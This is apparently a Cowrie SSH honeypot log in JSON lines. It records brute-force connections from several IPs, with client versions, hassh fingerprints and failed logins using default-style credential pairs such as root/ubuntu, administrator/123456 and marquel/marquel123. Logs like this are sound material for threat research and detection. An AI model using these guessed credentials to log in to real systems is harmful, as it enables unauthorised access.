{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:05.803623Z","src_ip":"125.94.107.91","session":"4063d28585db","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:07.345719Z","src_ip":"125.94.107.91","session":"4063d28585db","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:07.525416Z","src_ip":"193.151.144.93","session":"9fd804441723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.1","message":"Connection lost after 3.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:08.613261Z","src_ip":"125.94.107.91","session":"4063d28585db","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":54350,"dst_ip":"159.203.135.109","dst_port":22,"session":"ac344cf28d0d","protocol":"ssh","message":"New connection: 125.94.107.91:54350 (159.203.135.109:22) [session: ac344cf28d0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:08.819397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:08.824911Z","src_ip":"125.94.107.91","session":"ac344cf28d0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:09.061967Z","src_ip":"125.94.107.91","session":"ac344cf28d0d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian","message":"login attempt [root/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:09.781378Z","src_ip":"125.94.107.91","session":"ac344cf28d0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":45008,"dst_ip":"10.17.0.5","dst_port":22,"session":"74fae010ce81","protocol":"ssh","message":"New connection: 193.151.144.93:45008 (10.17.0.5:22) [session: 74fae010ce81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:09.926095Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:09.931049Z","src_ip":"193.151.144.93","session":"74fae010ce81","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:10.099530Z","src_ip":"193.151.144.93","session":"74fae010ce81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":46958,"dst_ip":"10.17.0.5","dst_port":22,"session":"3bad2a953b48","protocol":"ssh","message":"New connection: 213.209.159.56:46958 (10.17.0.5:22) [session: 3bad2a953b48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:10.243021Z"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"123456","message":"login attempt [administrator/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:10.606246Z","src_ip":"193.151.144.93","session":"74fae010ce81","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:11.594227Z","src_ip":"125.94.107.91","session":"ac344cf28d0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:11.796622Z","src_ip":"193.151.144.93","session":"74fae010ce81","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":56712,"dst_ip":"159.203.135.109","dst_port":22,"session":"d174c45f4786","protocol":"ssh","message":"New connection: 125.94.107.91:56712 (159.203.135.109:22) [session: d174c45f4786]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:11.841132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:11.846840Z","src_ip":"125.94.107.91","session":"d174c45f4786","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:12.091351Z","src_ip":"125.94.107.91","session":"d174c45f4786","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"centos","message":"login attempt [root/centos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:13.525382Z","src_ip":"125.94.107.91","session":"d174c45f4786","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.83","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.83","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:14.234005Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:14.312607Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel","message":"login attempt [marquel/marquel] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:14.715479Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:14.771165Z","src_ip":"125.94.107.91","session":"d174c45f4786","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":59060,"dst_ip":"159.203.135.109","dst_port":22,"session":"c59331775fff","protocol":"ssh","message":"New connection: 125.94.107.91:59060 (159.203.135.109:22) [session: c59331775fff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.010121Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.016908Z","src_ip":"125.94.107.91","session":"c59331775fff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.266606Z","src_ip":"125.94.107.91","session":"c59331775fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.151.144.93","src_port":51278,"dst_ip":"10.17.0.5","dst_port":22,"session":"2847087983f4","protocol":"ssh","message":"New connection: 193.151.144.93:51278 (10.17.0.5:22) [session: 2847087983f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.301170Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.306661Z","src_ip":"193.151.144.93","session":"2847087983f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.476889Z","src_ip":"193.151.144.93","session":"2847087983f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel1","message":"login attempt [marquel/marquel1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.801677Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elasticsearch","password":"123456","message":"login attempt [elasticsearch/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.983647Z","src_ip":"193.151.144.93","session":"2847087983f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:15.996471Z","src_ip":"125.94.107.91","session":"c59331775fff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel123","message":"login attempt [marquel/marquel123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:16.887486Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.158607Z","src_ip":"193.151.144.93","session":"2847087983f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.241628Z","src_ip":"125.94.107.91","session":"c59331775fff","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":60898,"dst_ip":"159.203.135.109","dst_port":22,"session":"76838561f20f","protocol":"ssh","message":"New connection: 125.94.107.91:60898 (159.203.135.109:22) [session: 76838561f20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.484613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.489498Z","src_ip":"125.94.107.91","session":"76838561f20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":51384,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb175ab96b4e","protocol":"ssh","message":"New connection: 20.6.35.235:51384 (159.203.135.109:22) [session: fb175ab96b4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.692548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.700138Z","src_ip":"20.6.35.235","session":"fb175ab96b4e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.734577Z","src_ip":"125.94.107.91","session":"76838561f20f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.962558Z","src_ip":"20.6.35.235","session":"fb175ab96b4e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel1234","message":"login attempt [marquel/marquel1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:17.972024Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nginx","message":"login attempt [root/nginx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:18.469562Z","src_ip":"125.94.107.91","session":"76838561f20f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"marquel","password":"marquel12345","message":"login attempt [marquel/marquel12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:19.057194Z","src_ip":"213.209.159.56","session":"3bad2a953b48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:19.716890Z","src_ip":"125.94.107.91","session":"76838561f20f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.94.107.91","src_port":34478,"dst_ip":"159.203.135.109","dst_port":22,"session":"2670ea031f96","protocol":"ssh","message":"New connection: 125.94.107.91:34478 (159.203.135.109:22) [session: 2670ea031f96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T05:02:19.939662Z"}
